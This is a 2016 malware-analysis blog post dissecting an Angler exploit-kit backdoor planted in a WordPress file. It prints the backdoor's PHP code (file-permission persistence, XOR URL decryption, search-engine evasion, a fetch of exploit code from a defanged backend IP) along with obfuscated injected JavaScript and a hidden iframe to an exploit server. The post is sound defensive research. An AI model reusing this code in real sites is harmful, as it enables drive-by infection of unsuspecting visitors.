Error: INSERT INTO `STATS_uperesia` ( `ID` , `ip` , `useragent` , `hostname` , `country`, `referer`, `time`, `pagename`, `visitorID`) VALUES ('', '3.145.57.120', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)', 'ec2-3-145-57-120.us-east-2.compute.amazonaws.com' , 'US', 'none', '1735578167', 'angler-two', 'GtMzyWDpdafuEYwWqIo9N67WmQxExQ7jvcJns0lNjJPGNqtQj24ce7d6Nby4jBgZvQzj5qrnURKkWoXtWJdK9TDNwBzEyNETO9RKa0RfCS08ILS')
Error:INSERT command denied to user 'uperesiadsdb'@'10.23.20.107' for table 'STATS_uperesia' analysis of an Angler wordpress backdoor

Posted by Felix Weyne, June 2016.
Author contact: Twitter | LinkedIn
Tags:
Angler, exploit kit, PHP backdoor, Angler server-side code, Angler client-side code

In this blog I'll discuss an Angler PHP backdoor. The script in question is dropped on vulnerable servers and serves as a proxy between the Angler backend servers and the victims machine. I found the script on one of my (vulnerable) honeypot Wordpress blogs. The malicious script was inserted in a Wordpress module script (location: 'wp-includes/nav-menu.php') and contained some simple obfuscation and persistency mechanisms. The scripts main purpose is to fetch Angler exploit code from the Angler backend servers and to insert that code into the legitimate Wordpress generated HTML code. In the next paragraphs I'll discuss the most interesting parts of the script. The full PHP backdoor can be downloaded here (password=infected). If you have no idea what I'm talking about, I suggest you start by reading my previous blog post about Angler .

P.S. While writing this second Angler blog, I again stumbled upon an Angler fail. Below an example of a failed inject is displayed, i.e. the injected backdoor is not parsed by the server, instead its displayed inline with the original website. Wouldn't we live in a better world if the cybercriminals followed Homer Simpsons' advice? "Kids, you tried your best and you failed miserably. The lesson is, never try."


Image 1: Angler backdoor gets displayed instead of being executed

Simple persistency & obfuscation

The first action the PHP Angler backdoor performs, is making sure that the .htaccess and index.php files in the root of the Wordpress folder are equal to the default ones that come with the installer. By resetting those two critical files to their default install values, the backdoor can rely on a default, univeral setup on each compromised server. The default .htaccess file makes sure that every request to the website is redirected trough the appropiate Wordpress modules. Not only the contents of those files are altered, the access rights to those files are also altered. To the attackers it is desirable that each request to the website triggers the backdoor, because each additional request is an opportunity to inject malicious code in the response. In the code below you can see that the attackers don't want server administrators to modify the default index and htaccess files, so the backdoor removes the write permission (i.e. change access permisions from 644 to 444) from those files.

<?PHP
error_reporting(0);
if (function_exists("add_action")) {
    add_action('wp_footer', 'add_2footer');
}
my_correct(dirname(__FILE__) . '/..');

function my_correct($dir) {
    $path = $dir . '/.htaccess';
    $content = base64_decode('*TRUNCATED*');
    if (file_exists($path) AND file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);

        chmod($path, 0444);
        if (!$time) {
            $time = my_time($dir);
        }
        touch($path, $time);
    }
}
?>

The URL of the Angler backend server (i.e. the server where the malicious exploit code is fetched from), is stored encrypted in the backdoor. The decryption routine is a simple XOR-rotation, as can be seen below:

<?PHP
function decrypt_url($encrypted_url)
{
    $encrypted_url = base64_decode($encrypted_url);
    $url = '';
    for ($i = 0; $i < strlen($encrypted_url); $i++)
    {
        $url .= chr(ord($encrypted_url[$i]) ^ 3);
    }
    return $url;
}
?>

Client checks & code injection

The code injection function (add_2footer()) hooks into the wordpress_footer function by calling the add_action function (see code in previous paragraph). we can easily confirm the function of add_action by looking at the Wordpress developer documentation:


Image 2: hooking into a function by making use of 'add_action' (source: developer.wordpress.org)

The code injection function (add_2footer) must pass three checks before it actually fetches the malicious code from the Angler backend server. These checks are:

*Is the site visitor a search engine? If yes, do not inject code, because the search engine may flag the site as malicious in its search results if the engine detects exploit code. The check is performed by looking if the user agent resembles known user agents of search engines. Additionally a check is performed to confirm that the remote IP of the visitor does not belong to a Google IP range.
*Does the client contain a cookie named 'PHP_SESSION_PHP'? If yes, do not inject code, because this cookie indicates that the client previously received exploit code from the site (reference: client-side code below)
*Is the requested page a non-HTML object? If yes, do not inject HTML code, because this would only corrupt the file (e.g. SWF flash files, Office files, ...)

If the client passes the checks, the malicious code gets fetched and injected into the webpage. If we decrypt the URL with the above XOR rotation decrypt_url routine, we can identify one of the Angler backend servers:

Backend server: hXXp://104.248.48.185/blog/

<?PHP
function add_2footer() {
  $check = false;

  if (!$check) {
    //check one
    if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') 
    || preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
        return;
			
    //check two
    $cookie_name = 'PHP_SESSION_PHP';
    if (isset($_COOKIE[$cookie_name]))
      return;

    //check three
    foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/') as $regex) {
      if (preg_match($regex, $_SERVER['REQUEST_URI']))
        return;
      }
    }
   
    $url = decrypt_url('a3d3czksLDIzNy0xNzstNzstMjs2LGFvbGQsPGFudCV2d25ccGx2cWBmPjo7MDIwOTszMzM6OjkyOjI1');
    if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
      $body .= $decoded;
    }
    //perform actions to insert fetched code into body 
}
?>

Proxying: fetching exploit code

Besides code injection, the most important function of the backdoor is to fetch the to be injected code. Fetching the code is done by making a simple request to an -in the backdoor encrypted- URL. It is interesting to see that the HTTP request to the Angler backend server contains an user-agent header and an X-Forwarded-For header. My guess is that the visitors user agent is forwarded so that the backend can check if it has exploits available for the particular used browser. The visitors IP probably is forwarded to the backend to do some geo-IP & blacklist checks. I've noticed that if a user originates from some specific regions in the world, the backend refuses to send exploit code. If the user makes too much request to a series of infected sites, the Angler backend flags the user as a security analyst, and also refuses to serve exploit code.

<?PHP
function request_url_data($url) {
  $m = parse_url($url);
  fwrite($fp, 'GET http://'.$m['host']. 
    $m["path"].'?'.$m['query'].' HTTP/1.0'."\r\n".
    'Host: ' . $m['host'] . "\r\n" .
    'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
    'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
    'Referer: ' . $site_url . "\r\n" .
    'Connection: Close' . "\r\n\r\n");
  $response = '';
  //parse response
  return $response;
}
?>

Client-side code

A truncated version of the code that gets fetched and injected by the backdoor is displayed below. A full version of the code can be downloaded here. The code is obfuscated and can be divided into three parts.

Part one is an invisible div container (notice that the div is displayed outside the browser window - top and left position values are negative) which contains seemingly random letters. This part is marked with a purple rectangle below. The letters in the div are not random, they serve as an encrypted payload. The encrypted payload contains an iframe. The iframe redirects the client to a website that hosts additional exploit code and the malware payload. This behavious is illustrated in image three.

Part two (marked with a red rectangle) also is an encrypted payload. This 'red' payload contains code to decrypt the previous 'purple' payload. Part three (marked in yellow) does not contain an encrypted payload, it's just obfuscated. This is the 'trigger' i.e.: it decrypts the 'red' payload, which decrypts the 'purple' payload.

Part three is truncated below because it is very long, but the deobfuscated version of part three results in the decryption routine for the 'red' part:

Deobfuscated 'yellow' routine:
String.fromCharCode.apply(
    null,document.getElementById("sus").innerHTML.split("*"))
)

<body>
<div id="molhbq" 
style="position: absolute; top: -1518px; left: -1776px">
cpa hbfau: doadc z byeceud jd n 'adbaau' euadc *TRUNCATED*
</div>
<div id="sus" 
style="position: absolute; top: -1406px; left: -1580px">
97*97*116*113*116*61*40*43*91*119*105*110*100 *TRUNCATED*
</div>
<script>

creo="\x74\x2e";
fhydw="\x63\x6f";
fhydw+="\x6e\x73\x74";
vgim="\x53";
kbqis=fhydw;
mbzqadu=aspxrx;
mbzqadu+=sefpuk;
*TRUNCATED*
epvb="\x43";
dwzos=[][kbqis];
lqrliinh="\x77\x6b";
kitw=dwzos[kbqis];

kitw(mbzqadu)();
idis="\x72\x6a\x77";
mbzqadu=idis;

</script>
</body>


Image 3: Exploit kit network traffic (source: malware.dontneedcoffee.com)

The decrypted 'molhbq' container (marked in purple) results in an iframe injection. The frame redirects the user to an exploit kit server. The exploit kit server is not the same server as the Angler backend server. The exploit kit server mostly is a hacked site that hosts exploit code and the final malware payload. Notice that beside the iframe, a cookie ('PHP_SESSION_PHP') is set. This cookie serves as a reminder to the server that exploit code has allready been served.

<script>
var date = new Date(new Date().getTime() + 60 * 60 * 24 * 7 * 1000);
document.cookie = "PHP_SESSION_PHP=308; path=/; expires=" 
+ date.toUTCString();
document.cookie = "_PHP_SESSION_PHP=236; path=/; expires=" 
+ date.toUTCString();
document.write('<style>' +
'.qoczrhtaez{position:absolute;top:-864px;width:300px;height:300px;}' +
'</style>' +
'<div class="qoczrhtaez">' +
'<iframe src="hXXX://kompleksa2ytrey.wellingtonrfc.co.uk'+
'/topic/11263-embark-anoraks-traumatised-omen-unstinting/"'+
'width="250" height="250">'+
'</iframe>'+
'</div>');
</script>

The Angler URL patterns which the iframe loads, always crack me up. They seem to be concatenating random English words, unless there's a logical relation between 'anoraks', 'traumatised', 'omen' and 'unstinting' I'm not seeing .

Edit one: I had some people asking how I found the backdoor on my honeypot server. You can use Wordfence to find a backdoor in your Wordpress blog. Wordfence will scan every file in your Wordpress folder and compare it to the orignal Wordpress install files. After scanning, Wordfence shows you in which PHP file(s) code was appended/removed.
Edit two: Not long after publishing this blog, the Angler Exploit Kit seems to have disappeared. The last sign of Angler EK was on June 7th, and it seems that the Neutrino EK is trying to fill the gap left behind by the Angler exploit kit. Perhaps they followed Homer Simpsons advice to never try all along...